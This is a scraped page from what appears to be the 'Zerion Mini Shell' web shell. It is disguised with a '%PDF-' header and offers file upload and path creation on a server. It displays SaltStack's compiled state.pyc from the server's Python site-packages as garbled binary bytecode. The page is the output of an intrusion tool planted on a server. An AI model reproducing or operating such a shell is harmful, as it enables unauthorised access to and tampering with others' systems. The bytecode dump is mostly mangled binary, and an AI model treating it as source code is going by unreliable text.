%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/lib/python2.7/site-packages/salt/client/ssh/
Upload File :
Create Path :
Current File : //proc/self/root/lib/python2.7/site-packages/salt/client/ssh/state.pyc

�
���^c@@s�dZddlmZmZddlZddlZddlZddlZddlZddl	m
Z
ddlZddl
ZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlZddlmZeje�Zdejjfd��YZ dejj!fd	��YZ"d
d�Z#dd�Z%dddd
�Z&dS(s
Create ssh executor system
i(tabsolute_importtprint_functionN(tclosing(tsixtSSHStatecB@s>eZdZddd�Zddd�Zd�Zd�ZRS(sR
    Create a State object which wraps the SSH functions for state operations
    cC@s&||_tt|�j||�dS(N(twrappertsuperRt__init__(tselftoptstpillarR((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pyR's	cC@s�|j|_tjj|j�|_tjj|j�|_tjj|jd|j�}tjj|j||j|j�|_tjj	|j|j�|_
dS(sD
        Load up the modules for remote compilation via ssh
        tutilsN(Rt	functionstsalttloaderRR	tserializerstminion_modststatestrendertrend(Rtdatatproxytlocals_((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pytload_modules+s'cC@sdS(s(
        Stub out check_refresh
        N((RRtret((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pyt
check_refresh6scC@sdS(s;
        Module refresh is not needed, stub it out
        N((R((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pytmodule_refresh<sN(t__name__t
__module__t__doc__tNoneRRRR(((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pyR#s
	tSSHHighStatecB@sAeZdZgZdddd�Zd�Zd�Zd�ZRS(s5
    Used to compile the highstate on the master
    cC@sz||_tjjj||�t|||�|_tjj|j�|_tjj	|j�|_	i|_
g|_dS(N(tclientR
tstatet
BaseHighStateRRRtmatchersR	ttopst_pydsl_all_declst_pydsl_render_stack(RR	R
Rtfsclient((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pyRIs		cC@stjjjj|�dS(N(R
R!t	HighStatetstacktappend(R((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pytpush_activeSscC@sdS(s'
        Stub out load_dynamic
        N((Rtmatches((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pytload_dynamicVscC@sd|jkr tjd�iStjjj|j|jd�sFiSi}i}d|jkrq|jd}nx�|jD]�}||jjdi�kr�q{ny*|j	|j|d|jd|��Wq{t
k
r�}tjd|||jd�q{Xq{W|S(s.
        Evaluate master_tops locally
        tids.Received call for external nodes without an idtgrainstmaster_topsR	s2Top function %s failed with error %s for minion %s(R	tlogterrorR
Rtverifytvalid_idR$tgettupdatet	Exception(RR/Rtfuntexc((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pyt_master_tops\s&
"*N(	RRRR)RRR+R-R:(((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pyRCs
		tc
C@si}x�|D]�}t|t�s(q
nd}g}xS|D]K}|dkrZ||}n|jd�roq;n|jt||��q;W||kr�g||<n|r
||j|�q
q
W|r|jd�}|rx6|D]+}x"|D]}	||j|	g�q�Wq�Wqn|S(s8
    Create a list of file ref objects to reconcile
    tbaset__env__t__t,(t
isinstancetdictt
startswithtextendt	salt_refsR*tsplit(
tchunkstextrastrefstchunktsaltenvtcrefsR!t
extra_refstenvtx((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pytlowstate_file_refszs.





"cC@s�d}|dkrg}nt|tj�r[|j|�r[||kr[|j|�q[nt|t�r�x|D]}t||�qqWnt|t�r�x"|D]}t|||�q�Wn|S(s5
    Pull salt file references out of the states
    ssalt://N(	RR@Rtstring_typesRBR*tlistRDRA(RRtprototcomp((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pyRD�s	

c 
C@sPtj�}tjjj�}tjj|d�}tjj|d�}	tjj|d�}
tjj	j
d�gtjj	j
d�gtjj	j
d�gtjj	j
d�gtjj	j
d�gtjj	j
d	�gtjj	j
d
�gg}tjjj|d��}tjjj
||�WdQX|rmtjjj|	d��}tjjj
||�WdQXn|r�tjjj|
d��}tjjj
||�WdQXn|dkr�d
}ny%tjjd|�jtj�}
Wn;tk
r$tjjdtj|��jtj�}
nXx7|D]/}tjj|
d|�}||j|�tjj||�}tjj|�s�tj|�nx�||D]�}x�|D]�}tjj	j|�djd�}tjj||�}y|j||d|
�}Wntk
rd
}nX|r�tjj||�}tjj|�}tjj|�sltj|�ntj||�q�ny|j||d|
�}Wntk
r�d
}nX|r�x�|D]�}|t|j |��j!d�}tjj|||�}tjj|�}tjj|�s9tj|�ntj||�q�Wq�q�q�Wq�Wq,Wytj"�}Wnt#k
r�d}nXtj$|�t%t&j'|d���y}xotjjj(|�D]X\}}}xF|D]>}tjj||�}|j)|t|�jtj��q�Wq�WWdQX|r?tj$|�ntj*|�|S(sf
    Generate the execution package from the saltenv file refs and a low state
    data structure
    s
lowstate.jsonspillar.jsonsroster_grains.jsont_modulest_statest_grainst
_rendererst
_returnerst_outputt_utilssw+NR;ssalt-sshtfilesit/tcachedirsw:gz(+ttempfiletmkdtempR
RR[tmkstemptostpathtjointurltcreatetfopentjsontdumpRtrstriptseptAttributeErrorRt	text_typeRCtisdirtmakedirstparsetlstript
cache_filetIOErrortdirnametshutiltcopyt	cache_dirtlentget_cachedirtstriptgetcwdtOSErrortchdirRttarfiletopentos_walktaddtrmtree( tfile_clientRFt	file_refsR
tid_t
roster_grainstgendirt	trans_tartlowfntpillarfntroster_grainsfnt	sync_refstfp_R]RJtcache_dest_roottenv_roottreftnametshortt
cache_destRbttgtttgt_dirR[tfilenametfntcwdttfptroottdirstfull((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pytprep_trans_tar�s�	%
.

"




"		


%
1
('Rt
__future__RRtloggingRaR}R^Rtt
contextlibRtsalt.client.ssh.shellR
tsalt.client.sshtsalt.utils.filestsalt.utils.jsontsalt.utils.pathtsalt.utils.stringutilstsalt.utils.thintsalt.utils.urltsalt.utils.verifytsalt.rostert
salt.statetsalt.loadertsalt.miniontsalt.extRt	getLoggerRR1R!tStateRR"RRORRDR�(((s9/usr/lib/python2.7/site-packages/salt/client/ssh/state.pyt<module>s6 7

Zerion Mini Shell 1.0